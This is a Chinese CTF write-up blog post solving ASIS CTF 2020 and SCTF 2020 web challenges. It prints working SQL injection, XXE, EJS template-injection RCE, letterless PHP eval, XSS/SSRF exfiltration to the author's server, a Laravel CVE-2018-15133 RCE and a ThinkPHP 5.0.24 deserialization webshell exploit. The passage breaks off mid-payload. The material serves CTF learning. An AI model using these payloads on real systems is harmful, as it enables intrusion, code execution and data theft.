{"__proto__": {"id": "admin","pw": "y1ng' union select case when (条件) then (select randomblob(100000000000000)) else 1 end--"}}

但是这个方法也有缺点,比如只有在联合查询时才能选择性触发Error,如果union换成and或者or(当然其他部分也得稍作改动),在这种子句构成的布尔表达式中便不会触发Error了。

因为是完全的Bypass了waf,无任何过滤,盲注起来就很方便了,substr()的用法和mysql等数据库完全一致:

所以就直接挨个爆破就好了,查询数据也非常方便因为表名什么的都是给了的,也可以参考Cheat Sheet里的这个payload:

and (SELECT hex(substr(tbl_name,1,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) > hex('some_char')

然而实际上你会发现你什么都跑不出来,并不是payload的问题,原因是数据库里本来就是空的!

Error触发说明条件处的布尔表达式是True,进而说明count(*) from users为0,其中COUNT()函数是用来计算一个数据库表中的行数

文章写到这,实际上这题刚做完了一小半。数据库里没有东西,意味着永远也不可能输入正确的pw了,也就是说永远不可能成功伪造成admin

除非row.pw === user.pw返回True!再次回看代码:

row = db.prepare(`select pw from users where id='admin' and pw='${user.pw}'`).get();
if(typeof row !== "undefined"){
    req.session.isAdmin = (row.pw === user.pw);
}else{
    req.session.isAdmin = false;
}

刚刚我们去尝试往出注密码是因为默认了这个row.pw === user.pw根本不可能成立,现在看来必须要想办法让它成立了

这种考点确实牛逼,第一次见,需要让sql查询结果和sql语句完全相等,肯定需要让字符串重复输出,然后利用替换等来满足这个要求。参考文末链接4

replace(hex(zeroblob(X)),hex(zeroblob(1)),'string') 的结果是'string'*X

利用这个思路,通过把一些SQL语句写进字符串来实现,其中为了避免引号转义问题利用char(39)来代替,而sqlite中字符串的连接可以通过||来实现

于是得到:

Payload  :' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||')--
Generates:' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||

可以发现后面的')--没有了,这个也得被重复,所以还得再套一层:

Payload  :' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||')||replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)||')||replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)||')||replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)||')--')--')--
Generates:' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||')||replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)||')||replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)||')||replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)||')--')--')--

现在,终于能够伪造admin了,登陆成功就会跳转:

if(req.session.isAdmin && req.session.user === 'admin'){
    res.statusCode = 302;
    res.setHeader('Location','admin');
    res.end();
}

ejs模板注入

没想到吧!题目做到这还没做完!

我们先来看下代码,首先接收一个test参数并用来渲染模板,否则是默认的admin.html

app.get('/admin', function(req, res){
    if(typeof req.session.isAdmin !== "undefined" && req.session.isAdmin && req.session.user === 'admin'){
        if(typeof req.query.test !== "undefined"){
            res.render(req.query.test);
        }else{
            res.render("admin.html");
        }
    }else{
        res.end("Access Denied!");
    }
});

上传则是提供了一个上传功能,使用session.id来创建一个目录并把上传的文件存在下面

app.post('/upload', function(req, res){
    if(typeof req.session.isAdmin !== "undefined" && req.session.isAdmin && req.session.user === 'admin'){
        if(typeof req.body.name !== "undefined" && typeof req.body.file !== "undefined"){
            var fname = req.body.name;
            var dir = './views/upload/'+req.session.id;
            var contents = req.body.file;

            !fs.existsSync(dir) && fs.mkdirSync(dir);
            fs.writeFileSync(dir+'/'+fname, contents);
            res.end("Done.");
        }else{
            res.end("Something's wrong");
        }
    }else{
        res.end("Permission Denied!");
    }
});

代码的逻辑非常明显,我们上传SSTI的模板文件然后被渲染然后RCE,注意到题目的如下代码

app.set('view engine', 'ejs');
app.engine('html', require('ejs').renderFile);

ejs是js的一个模板,不懂的可以去看看EJS中文文档:

https://ejs.bootcss.com/

虽然网上基本没啥相关payload,它不像Jinja2,实际上就直接Nodejs的代码执行就好了。payload:

<%- global.process.mainModule.require(‘child_process’).execSync(‘cat app.js’) %>

当然这是通解,本题目因为flag存在app.locals,所以ejs渲染时候可以直接读取,<%=flag%>就可以了

题目没有上传按钮,我们自己本地写个Form上传就好了,问题在于它并没有给回显路径

分析代码,上传的文件的路径是'./views/upload/' + req.session.id + '/y1ng.html',所以这个session.id是什么

首先拿出我们的cookie并url解码,s:.中间的部分就是session.id,至于为什么就要去啃源码,具体的啃源码分析过程建议参考文末的链接3,

connect.sid=s:7T-DLMSPuGOvFqEdMnCdVHYUjdb3wmxq.ubdBBNsufG1NzrzLwT2Qcizni6z8q4SMcXUHA/HP3F0

带上test参数传进去我们上传的模板来渲染导致RCE然后读文件即可得到flag

这题实在是太牛逼了,太牛逼了


Treasury #1 & Treasury #2 – Part 1

考点:Javascipt、SQL注入、XXE

难度:中等

是一个书店,每个书都有2个按钮可以点,AE点了就弹出一个Excerpt窗口,但并没有产生什么新请求,考虑使用了AJAX

HTML源代码注意到treasury.js,访问,得到关键代码:

async function anexcerpt(book) {
  const modalEl = document.createElement('div');
  modalEl.style.width = '70%';
  modalEl.style.height = '50%';
  modalEl.style.margin = '100px auto';
  modalEl.style.backgroundColor = '#fff';
  modalEl.className = 'mui-panel';
  const header = document.createElement('h2');
  header.appendChild(document.createTextNode("An Excerpt From " + book.name));
  modalEl.appendChild(header);
  const loading = createSpinner(modalEl);
  // show modal
  mui.overlay('on', modalEl);

  const response = await fetch('books.php?type=excerpt&id=' + book.id);
  const bookExcerpt = await response.text();
  const txtHolder = document.createElement('div');
  txtHolder.className = 'mui-textfield mui--z2'
  const txt = document.createElement('textarea');
  txt.appendChild(document.createTextNode(bookExcerpt));
  txt.readOnly = true;
  txt.style.height = "100%";
  txtHolder.appendChild(txt);
  txtHolder.style.height = "70%";
  loading.stop();
  modalEl.appendChild(txtHolder);
}

发现fetch('books.php?type=excerpt&id=' + book.id); 后面接了book id,访问测试发现id存在sql注入。并且使用了xml,simplexml_load_string() 函数转换形式良好的 XML 字符串为 SimpleXMLElement 对象。

可以得到回显:

Table: books
id=1' and 1=2 union select group_concat(table_name) from information_schema.tables where table_schema=database()--+#

Column: id,info
id=1' and 1=2 union select group_concat(column_name) from information_schema.columns where table_schema=database()--+#

之后就查不到更多信息了,说明flag不在数据库里。注意到题目使用了simplexml_load_string(),我们可以通过构造XML来xxe

id=1'and 1=2 union select '<root><id>1</id><excerpt>abc</excerpt></root>'--+#

回显了abc,因此可以通过注入excerpt字段来XXE。用HackBar测试了一会总是出错,考虑是URL编码的问题,用requests模块,文件读取

#颖奇L'Amore
import requests as req
from urllib.parse import quote as urlen

HOST = "https://poems.asisctf.com/books.php?type=excerpt&id=1'and 1=2 "
payload = '''union select '<!DOCTYPE excerpt [<!ENTITY xxe SYSTEM "file:///flag">]><root><excerpt>&xxe;</excerpt></root>'-- #'''
payload = urlen(payload)
r = req.get(HOST+payload)
print(r.text)

得到flag:ASIS{03482b1821398ccb5214d891aed35dc87d3a77b2} 结果这个是#2的flag,#1的flag居然比#2更难拿,无语了

Treasury #1 & Treasury #2 – Part 2

xxe+伪协议得到books.php源码

<?php
sleep(1);

function connect_to_database() {
  $link = mysqli_connect("web4-mariadb", "ctfuser", "dhY#OThsdivojq2", "ASISCTF");
  if (!$link) {
    echo "Error: Unable to connect to DB.";
    exit;
  }
  return $link;
}

function fetch_books($condition) {
  $link = connect_to_database();
  if ($condition === "") {
    $where_condition = "";
  } else {
    $where_condition = "WHERE $condition";
  }
  $query = "SELECT info FROM books $where_condition";
  if ($result = mysqli_query($link, $query, MYSQLI_USE_RESULT)) {
    $books_info = array();
    while($row = $result->fetch_array(MYSQLI_NUM)) {
      $books_info[] = (string) $row[0];
    }
    mysqli_free_result($result);
  }
  mysqli_close($link);
  return $books_info;
}

function xml2array($xml) {
  return array(
    'id' => (string) $xml->id,
    'name' => (string) $xml->name,
    'author' => (string) $xml->author,
    'year' => (string) $xml->year,
    'link' => (string) $xml->link
  );
}

function get_all_books() {
  $books = array();
  $books_info = fetch_books("");
  foreach ($books_info as $info) {
    $xml = simplexml_load_string($info, 'SimpleXMLElement', LIBXML_NOENT);
    $books[] = xml2array($xml);
  }
  return $books;
}

function find_book($condition) {
  $book_info = fetch_books($condition)[0];
  $xml = simplexml_load_string($book_info, 'SimpleXMLElement', LIBXML_NOENT);
  return $xml;
}

$type = @$_GET["type"];
if ($type === "list") {
  $books = get_all_books();
  echo json_encode($books);

} elseif ($type === "excerpt") {
  $id = @$_GET["id"];
  $book = find_book("id='$id'");
  $bookExcerpt = $book->excerpt;
  echo $bookExcerpt;

} else {
  echo "Invalid type";
}

分析源码可知,题目从数据库查询了书籍的相关信息,然后利用simplexml_load_string()得到了一个SimpleXMLElement对象,最后输出了这个SimpleXMLElement对象的excerpt属性。

flag并没有在源代码,于是就很想知道到底从数据库中都查询了什么出来,因为题目只是选择性的输出了<excerpt></excerpt>的内容。这个考点实在是有点东西,不愧是国际带比赛,使用mysql的替换函数剥去XML标签然后显示在<excerpt></excerpt>中,即可得到完整内容

payload:

union select concat('<root><id>4</id><excerpt>',replace((select group_concat(id,info) from books),'<','?'),'</excerpt></root>')-- #

这道题我给打满分,出题人真的彳亍


Warm-up

考点:老生常谈的无字母RCE

难度:简单

<?php
if(isset($_GET['view-source'])){
    highlight_file(__FILE__);
    die();
}

if(isset($_GET['warmup'])){
    if(!preg_match('/[A-Za-z]/is',$_GET['warmup']) && strlen($_GET['warmup']) <= 60) {
    eval($_GET['warmup']);
    }else{
        die("Try harder!");
    }
}else{
    die("No param given");
}

虽然题目可以用数字,但是完全没必要。payload:

$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);  //$_GET[_]($_GET[__])
http://69.90.132.196:5003/?warmup=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=readfile&__=flag.php

另外还看到了一种读文件的payload,收藏了

$_="@:>;963:"^"2_______"; // readfile
$__="____"^"830="; // glob
$_($__('*')[0]); // readfile(glob('*'))

PyCrypto

考点:AES加密、XSS、SSRF、CORS

难度:困难

这题是个webcrypto,除去密码部分,web还是非常简单的,如果当年好好做了安恒五月赛的notes那个XSS+SSRF的话,这种题都能拿payload直接秒

app.py

from Crypto.Cipher import AES
from flask import Flask, request, render_template, session
from flask_csp.csp import csp_header
import sqlite3
from hashlib import sha256
import markdown2
from selenium import webdriver
from socket import gethostbyname
from urlparse import urlparse

IP = "76.74.170.201"
BLOCK_SIZE = 32
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * chr(BLOCK_SIZE - len(s) % BLOCK_SIZE)
key = "REDACTED"

assert len(key) == 32, "Key length error"

aes = AES.new(key, AES.MODE_ECB)
app = Flask(__name__)
app.secret_key = "REDACTED"
conn = sqlite3.connect('/app/user.db', check_same_thread=False)
c = conn.cursor()

def xor(msg1, msg2):
    res = ''
    for i in range(BLOCK_SIZE):
        res += chr(ord(msg1[i]) ^ ord(msg2[i]))
    return res

def encrypt(plaintext):
    plaintext = pad(plaintext)
    iv = pad("")
    ciphertext = ""
    for i in range(0, len(plaintext), BLOCK_SIZE):
        iv = xor(aes.encrypt(plaintext[i:i+BLOCK_SIZE]),iv)
        ciphertext += iv
    return ciphertext.encode('hex')

def decrypt(ciphertext):
    # REDACTED
    # res will be the plaintext
    return res

@app.route('/')
def index():
    return "Welcome To my Web + Crypto Task!"

@app.route('/api/login', methods=['POST'])
def login():
    try:
        user = request.form['id']
        pw = sha256(request.form['pw']).hexdigest()
        c.execute("select username from users where username=? and pw=?", (user, pw))
        res = c.fetchone()
        session['mycode'] = encrypt(res[0]+key)
        return 'Done!'
    except:
        return "Error!"

@app.route('/api/logout')
def logout():
    session.pop('mycode')
    return 'done!'

@app.route('/api/register', methods=['POST'])
def register():
    try:
        user = request.form['id']
        pw = sha256(request.form['pw']).hexdigest()
        c.execute("INSERT INTO users(username, pw) VALUES (?,?)",(user, pw))
        conn.commit()
        return 'register done!'
    except:
        return "Error!"

@app.route('/myinfo')
def info():
    if 'mycode' in session:
        return session['mycode']
    else:
        return 'Plz Login'

@app.route('/ticket')
@csp_header({
    "default-src": "'self'",
    "script-src":"'self' 'unsafe-inline'",
    "style-src": "'self'",
    "font-src": "'self'",
    "img-src": "'self'"})
def view_post():
    try:
        enc = request.args.get("msg")
        res_key = request.args.get("key")
        if res_key == key and request.remote_addr != '127.0.0.1':
            res = decrypt(enc)
            return markdown2.markdown(res,safe_mode=True)
        else:
            return "Key or Permission Error!"
    except:
        return "Something is wrong!"

@app.route('/flag')
def flag():
    if request.remote_addr == "127.0.0.1":
        return render_template("flag.html")
    else:
        return 'Only Admin can access!'

@app.route('/submit')
def submit():
    url = request.args.get("url")
    try:
        host = urlparse(url).netloc
        try:
            host = host[:host.index(':')]
        except:
            pass
        if gethostbyname(host) == IP:
            options = webdriver.ChromeOptions()
            options.add_argument('--headless')
            options.add_argument('--no-sandbox')
            options.add_argument('--disable-dev-shm-usage')
            driver = webdriver.Chrome(chrome_options=options, executable_path='/usr/local/bin/chromedriver')
            driver.implicitly_wait(30)
            driver.get(url)
            driver.quit()
            return "Done"
        else:
            return "Nop"
    except:
        return "URL Error"

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)

dockerfile:

FROM ubuntu:18.04
ENV DEBIAN_FRONTEND=noninteractive 
ENV APACHE_RUN_USER www-data
ENV APACHE_RUN_GROUP www-data

RUN apt update
RUN apt install -y wget
RUN apt-get install -y gnupg2
RUN wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | apt-key add -
RUN sh -c 'echo "deb [arch=amd64] http://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list'
RUN apt update
RUN apt install -y google-chrome-stable
RUN apt install -yqq unzip curl
RUN wget -O /tmp/chromedriver.zip http://chromedriver.storage.googleapis.com/`curl -sS chromedriver.storage.googleapis.com/LATEST_RELEASE`/chromedriver_linux64.zip
RUN unzip /tmp/chromedriver.zip chromedriver -d /usr/local/bin/

RUN apt install -y python python-pip
RUN pip install flask==1.1.2
RUN pip install markdown2==2.3.8
RUN pip install pycrypto
RUN pip install flask_csp
RUN pip install selenium
RUN apt install -y sqlite3 libsqlite3-dev
RUN pip install pysqlite3

RUN apt install -y apache2
RUN apt install -y libapache2-mod-wsgi
RUN a2enmod wsgi

RUN mkdir -p /app
WORKDIR /app
ADD ./web/* ./

RUN mkdir templates
RUN mv ./flag.html ./templates/
RUN mkdir logs
RUN touch ./logs/error.log
RUN touch ./logs/access.log
ADD ./env/000-default.conf /etc/apache2/sites-available/

RUN chmod o+w /app
RUN chown www-data: /app/user.db

EXPOSE 8080

AES.MODE_ECB,我不太会,应该交给密码师傅来搞,参考GreyFang的脚本:

#TeamGreyFang
def getBlock(candidate):
    register(candidate)
    result = unhexlify(getCipher(candidate))
    iv1 = result[:32]
    return iv1

def cracker():
    key = ''
    for i in range(len(key)+1, 32):
        candidate = ('a'*(32 - i))
        ref = getBlock(candidate)
        for p in string.printable:
            try:
                candidate = ('a'*(32 - i) + key) + p
                result = getBlock(candidate)
                if result == ref:
                    key += p
                    print("Match Found!!!", key)
                    break
            except Exception as e:
                print("Error Occured!", e)
    return key

得到Key:"ASIS2020_W3bcrypt_ChAlLeNg3!@#%^"

/ticket中使用的md2,有一个老生常谈的XSS漏洞,前段时间BBCTF里还出现了这个考点,那个题的wp:

🇮🇳Byte Bandits CTF 2020 Writeup

这个题和我出的BJDCTF 3rd的notes实在是太像了,flag需要本地访问,CSP都基本一样,尽管有CSP,但是允许'unsafe-inline'意味着我们可以执行javascript,那就用XMLHttpRequest或者直接fetch()一下flag实现SSRF然后通过window.location把结果带出来就行了。

这题真的很简单,比赛时solve人少大概是被AES难住了

注意到/tickit中的代码接收了key和加密过的payload然后进行解密然后md2

enc = request.args.get("msg")
res_key = request.args.get("key")
if res_key == key and request.remote_addr != '127.0.0.1':
    res = decrypt(enc)
    return markdown2.markdown(res,safe_mode=True)

那么我们首先需要对payload进行加密,直接用它的源码改改就行了

get方式传上去就行了,可以发现JavaScript被成功触发并且把数据带去了我们的vps

然后就提交是bot了。在提交url给bot时还有个问题需要解决,这个和SCTF的Jsonhub一样,也是强制提交的url为公网ip开头,所以要想办法让它解析到127.0.0.1才行。题目使用了urlparse,2017 Black Hat上Orange的议题明确表示Python urlparse并不能被abuse

但是这里这段代码未免也太奇怪的了

自己写一下然后调试了,这个host最后能够获得题目的公网ip,但是最后访问却可以访问到其他任意主机

所以url应该是

http://76.74.170.201:8080@127.0.0.1:8080/ticket?msg=payload&key=key

这个直接访问确实应该是访问到127.0.0.1:8080,但是一直打不通,是因为被SOP干掉了,所以再弄个域名解析绕一下即可


References 

https://github.com/networknerd/CTF_Writeups/blob/master/2020/ASISCTF_2020/Web/WebWarmup/README.md

https://github.com/saw-your-packet/ctfs/blob/master/ASIS%20CTF%20Quals%202020/Write-ups.md

https://drive.google.com/file/d/16YW4JjdcAbFSzDbECy4wA8IDDA-hxC2i/view?usp=sharing

https://github.com/TeamGreyFang/CTF-Writeups/tree/master/AsisCTF2020

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/2462.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示

]]>
https://www.gem-love.com/ctf/2462.html/feed 0
SCTF-XCTF 2020 Writeup https://www.gem-love.com/ctf/2429.html https://www.gem-love.com/ctf/2429.html#respond Tue, 07 Jul 2020 12:56:51 +0000 https://www.gem-love.com/?p=2429 Author:颖奇L’Amore

Blog:www.gem-love.com

和战队打,题目基本都是一起做的,全程在被队友疯狂带飞,大部分题都唰唰唰的被队友秒了

ruby做了10几个小时,心态崩了


bestlanguage

考点:CVE-2018-15133

难度:普通

赛后发现,本题目能直接读flag:

关于–path-as-is相关,建议阅读:

https://www.gem-love.com/ctf/2391.html#web/cookierecipesv2

下面介绍比赛时的做法。首先查看laravel的版本

版本号也会写在vendor/laravel/framework/src/Illuminate/Foundation/Application.php里面

Laravel 5.5.x<=5.5.40、5.6.x<=5.6.29都会受到CVE-2018-15133的影响,这是一个在得知APP_KEY情况下的RCE,参考:

https://xz.aliyun.com/t/6533

而APP_KEY存在于.env中,这个文件已经被提供给我们了,所以直接一键打了

CVE-2018-15133的PoC:

https://github.com/kozmic/laravel-poc-CVE-2018-15133

利用之前还需要用到一个PHP反序列化工具phpggc,GitHub地址:

https://github.com/ambionics/phpggc

phpggc自带了Laravel框架RCE组件,所以非常方便

之后就拿poc一把梭:

把生成的payload放在Cookie字段,访问

在服务器上接收传回来的flag

不过因为调用system()函数是有回显的,直接cat /flag也行


UnsafeDefenseSystem

don’t need to scan , flag is in /flag .The server is remade every 3 minutes. good luck to you
if you get the flag, please don’t destory the environment.
China:
http://39.99.41.124/public/
Overseas:
http://8.208.102.48/public/

考点:文件包含、ThinkPHP反序列化、PHP伪协议

难度:hard

大半夜做的,晚上脑子不好,导致短短一小时内错失前三血,最后拿了个四血

访问:

Warning<br/>You IP: [这里是公网ip 打码] has been recorded by the National Security Bureau.I will record it to ./log.txt, Please pay attention to your behavior<meta http-equiv="refresh" content="1;url=http://127.0.0.1/public/test">%

访问/public/test能进入到一个局子里

html源代码有一行相关注释:

<!-- Admin:/public/nationalsb/login.php -->

这个登录输入任意账号密码都可以登陆上去,这个并没有保存cookie,是根据了Authentication字段

用插件直接找到了注释中保存的账号密码

有个四位的生日需要爆破,12×31=372,只需要300多个包,写个python小脚本爆破一下得到密码DsaPPPP!@#amspe1221

用这个登录,然后提供了一个文件查询功能

测试发现,是个php的文件包含

由404页面可知,题目是个TP5.0.24

读一下主页 得到反序列化位点:

<?php

namespace app\index\controller;

class Index extends \think\Controller
{
    public function index()
    {
        $ip = $_SERVER['REMOTE_ADDR'];
        echo "Warning" . "<br/>";
        echo "You IP: " . $ip . " has been recorded by the National Security Bureau.I will record it to ./log.txt, Please pay attention to your behavior";
        echo '<meta http-equiv="refresh" content="1;url=http://127.0.0.1/public/test">';
    }

    public function hello()
    {
        echo 'hi';
        unserialize(base64_decode($_GET['s3cr3tk3y']));
        echo(base64_decode($_GET['s3cr3tk3y']));
    }
}

thinkphp5.0.24反序列化:

https://www.shellcodes.org/Hacking/ThinkPHP 5.0.24反序列化ROP.html

在http://39.99.41.124/protect.py有个py脚本:

# -*- coding:utf-8 -*-
import os
import hashlib
import time 
import shutil

def get_file_md5(filename):
	m = hashlib.md5()
	with open(filename,'rb') as fobj:
		while True:
			data = fobj.read(4096)
			if not data:
				break
			m.update(data)
	return m.hexdigest()
	
def file_md5_build(startpath):
	global md5_list
	global file_list
	global dir_list
	global root
	md5_list = []
	file_list = []
	dir_list = []
	for root,dirs,files in os.walk(startpath,topdown=True):
		for d in dirs:
			dir_list.append(root+'/'+d)
		for f in files:
			if f[-4:] == '.txt':
				continue
			file_list.append(root+'/'+f)
			md5_list.append(get_file_md5(root+'/'+f))
			
def file_md5_defense():
	log = open('./public/log.txt','a')
	log.write('[+]Defense System Online Now.')
	log.write('\r\n')
	log.write('[+]Defense System file is protect.py.')
	log.write('\r\n')
	log.close()
	file_backup_remove()
	file_backup()
	global root
	file_md5_build('./')
	old_list = []
	old_dir_list = []
	new_list = []
	new_dir_list = []
	check_list = []
	old_file_list = []
	new_file_list = []
	check_file_list = []
	old_file_list = file_list[:]
	old_list = md5_list[:]
	old_dir_list = dir_list[:]
	while (1):
		check_list = old_list[:]
		check_file_list = old_file_list[:]
		file_md5_build('./')
		new_list = md5_list[:]
		new_file_list = file_list[:]
		new_dir_list = dir_list[:]
		sign2 = 0
		for i in range(len(old_dir_list)):
			sign3 = 0
			for j in range(len(new_dir_list)):
				if (old_dir_list[i] == new_dir_list[j]):
					sign3 = 1
					break
			if sign3 == 0:
				sign3 = 1
				log = open('./public/log.txt','a')
				log.write(old_dir_list[i].replace('./','')+'Disappear!')
				log.write('\r\n')
				try:
					shutil.copytree(tgt+old_dir_list[i].replace('./','/'),old_dir_list[i])
					log.write("[+]Repaired.")
					log.write('\r\n')
					log.close()
				except:
					log.write("[-]No such dir.")
					log.write('\r\n')
					log.close()
		for i in range(len(new_list)):
			sign = 0
			for j in range(len(old_list)):
				if (new_list[i] == old_list[j] and new_file_list[i] == old_file_list[j]):
					check_list[j] = '0'
					sign = 1
					break
			if sign == 0:
				sign2 = 1
				log = open('./public/log.txt','a')
				log.write(new_file_list[i].replace('./','')+'Add or Changed!')
				log.write('\r\n')
				try:
					os.remove(new_file_list[i])
					shutil.copyfile(tgt+new_file_list[i].replace('./','/'),new_file_list[i])
					log.write("[+]Repaired.")
					log.write('\r\n')
					log.close()
				except:
					log.write("[-]No such file.")
					log.write('\r\n')
					log.close()
		for i in range(len(check_list)):
			if check_list[i] != '0' and sign2 != 1:
				log = open('./public/log.txt')
				log.write(check_file_list[i].replace('./','')+'Disappear!')
				log.write('\r\n')
				sign2 = 0
				try:
					shutil.copyfile(tgt+check_file_list[i].replace('./','/'),check_file_list[i])
					log.write("[+]Repaired.")
					log.write('\r\n')
					log.close()
				except:
					log.write("[-]No such file.")
					log.write('\r\n')
					log.close()

def file_md5_check():
	file_backup()
	global root
	file_md5_build('./')
	old_list = []
	old_dir_list = []
	new_list = []
	new_dir_list = []
	check_list = []
	old_file_list = []
	new_file_list = []
	check_file_list = []
	old_file_list = file_list[:]
	old_list = md5_list[:]
	old_dir_list = dir_list[:]
	while (1):
		print "*******************************************************"
		print '[+]The old file total:',len(old_list)
		print '[+]The old dir total:',len(old_dir_list)
		print "*******************************************************"
		check_list = old_list[:]
		check_file_list = old_file_list[:]
		file_md5_build('./')
		new_list = md5_list[:]
		new_file_list = file_list[:]
		new_dir_list = dir_list[:]
		sign2 = 0
		
		for i in range(len(old_dir_list)):
			sign3 = 0
			for j in range(len(new_dir_list)):
				if (old_dir_list[i] == new_dir_list[j]):
					sign3 = 1
					break
			if sign3 == 0:
				sign3 = 1
				print old_dir_list[i].replace('./',''),'Disappear!'
		for i in range(len(new_list)):
			sign = 0
			for j in range(len(old_list)):
				if (new_list[i] == old_list[j] and new_file_list[i] == old_file_list[j]):
					check_list[j] = '0'
					sign = 1
					break
			if sign == 0:
				sign2 = 1
				print new_file_list[i].replace('./',''),'Add or Changed!'
		for i in range(len(check_list)):
			if check_list[i] != '0' and sign2 != 1:
				print check_file_list[i].replace('./',''),'Disappear!'
				sign2 = 0
		print "*******************************************************"
		print '[+]Total file:',len(new_list)
		print '[+]Total dir:',len(new_dir_list)
		print "*******************************************************"
		time.sleep(5)

def file_log_add():
	php_list=[]
	for root,dirs,files in os.walk('./',topdown=True):
		for f in files:
			if f[-4:] == '.php':
				php_list.append(root+'/'+f)

	for i in range(len(php_list)):
		php_list[i] = php_list[i].replace('//','/')
		print php_list[i]
	print '[+]Total PHP file:',len(php_list)
	confirm = raw_input("Confirm Open Log Monitoring. 1 or 0:")
	if confirm == '1':
		print "*******************************************************"
		for i in range(len(php_list)):
			level_dir = 0
			for j in range(len(php_list[i])):
				if php_list[i][j] == '/':
					level_dir += 1
			lines = open(php_list[i],"r").readlines()
			length = len(lines)-1
			for j in range(length):
				if '<?php' in lines[j]:
					lines[j]=lines[j].replace('<?php','<?php\nrequire_once("./'+'../'*(level_dir-1)+'log.php");')
			open(php_list[i],'w').writelines(lines)
		print "[+]Log monitoring turned on."

def file_backup():
	src = './'
	try:
		shutil.copytree(src,tgt)
		log = open('./public/log.txt','a')
		log.write("[+]File backup succeed.")
		log.write('\r\n')
		log.close()
	except:
		log = open('./public/log.txt','a')
		log.write("[-]File backup fail.Maybe it exists.")
		log.write('\r\n')
		log.close()
		
def file_backup_remove():
	try:
		shutil.rmtree(tgt)
	except:
		pass

global tgt
tgt = './backup'
file_md5_defense()

源码很长,功能就是它会检测新生成的文件,把文件名写进/public/log.txt,然后把文件删掉

这正好说明找的这个5.0.24的反序列化思路是对的,因为这个方法会生成一个shell写进文件,但是文件名不可知,所以这个py脚本为我们提供了文件名

用payload打一下,写个脚本访问payload生成shell然后立马访问shell是可以访问到的,以为题目开启了短标签导致出现了语法错误,shell不能执行

大晚上的在这里卡住了,一直测试用init_set()关短标签,但是因为写入的代码永远在<?cuc rkug();?>后面,根本不能执行,就在这一小时之间,123血全没了。

后来我突然想到P神以前写过一个利用php://filter去除死亡exit()的文章,那么这个题应该也是不要用rot13的,去网上查资料直接找到了现成的解决方案:

https://xz.aliyun.com/t/7457

exp:

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com
import requests

payload = '''http://39.99.41.124/public/index.php/index/index/hello?s3cr3tk3y=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6NTp7czo2OiJwYXJlbnQiO086MjA6InRoaW5rXGNvbnNvbGVcT3V0cHV0IjoyOntzOjk6IgAqAHN0eWxlcyI7YTo3OntpOjA7czo3OiJnZXRBdHRyIjtpOjE7czo0OiJpbmZvIjtpOjI7czo1OiJlcnJvciI7aTozO3M6NzoiY29tbWVudCI7aTo0O3M6ODoicXVlc3Rpb24iO2k6NTtzOjk6ImhpZ2hsaWdodCI7aTo2O3M6Nzoid2FybmluZyI7fXM6Mjg6IgB0aGlua1xjb25zb2xlXE91dHB1dABoYW5kbGUiO086MzA6InRoaW5rXHNlc3Npb25cZHJpdmVyXE1lbWNhY2hlZCI6MTp7czoxMDoiACoAaGFuZGxlciI7TzoyMzoidGhpbmtcY2FjaGVcZHJpdmVyXEZpbGUiOjI6e3M6MTA6IgAqAG9wdGlvbnMiO2E6NDp7czoxMjoiY2FjaGVfc3ViZGlyIjtiOjA7czo2OiJwcmVmaXgiO3M6MDoiIjtzOjQ6InBhdGgiO3M6MTI1OiJwaHA6Ly9maWx0ZXIvY29udmVydC5pY29udi51dGYtOC51dGYtN3xjb252ZXJ0LmJhc2U2NC1kZWNvZGUvcmVzb3VyY2U9YWFhUEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3lkalkyTW5YU2s3UHo0Zy8uLi95MW5nLnBocCI7czoxMzoiZGF0YV9jb21wcmVzcyI7YjowO31zOjY6IgAqAHRhZyI7czo0OiJ4aWdlIjt9fX1zOjk6IgAqAGFwcGVuZCI7YToxOntzOjQ6InRlc3QiO3M6ODoiZ2V0RXJyb3IiO31zOjc6IgAqAGRhdGEiO2E6MTp7czo3OiJwYW5yZW50IjtzOjQ6InRydWUiO31zOjg6IgAqAGVycm9yIjtPOjI3OiJ0aGlua1xtb2RlbFxyZWxhdGlvblxIYXNPbmUiOjU6e3M6NToibW9kZWwiO2I6MDtzOjE1OiIAKgBzZWxmUmVsYXRpb24iO2I6MDtzOjk6IgAqAHBhcmVudCI7TjtzOjg6IgAqAHF1ZXJ5IjtPOjE0OiJ0aGlua1xkYlxRdWVyeSI6MTp7czo4OiIAKgBtb2RlbCI7TzoyMDoidGhpbmtcY29uc29sZVxPdXRwdXQiOjI6e3M6OToiACoAc3R5bGVzIjthOjc6e2k6MDtzOjc6ImdldEF0dHIiO2k6MTtzOjQ6ImluZm8iO2k6MjtzOjU6ImVycm9yIjtpOjM7czo3OiJjb21tZW50IjtpOjQ7czo4OiJxdWVzdGlvbiI7aTo1O3M6OToiaGlnaGxpZ2h0IjtpOjY7czo3OiJ3YXJuaW5nIjt9c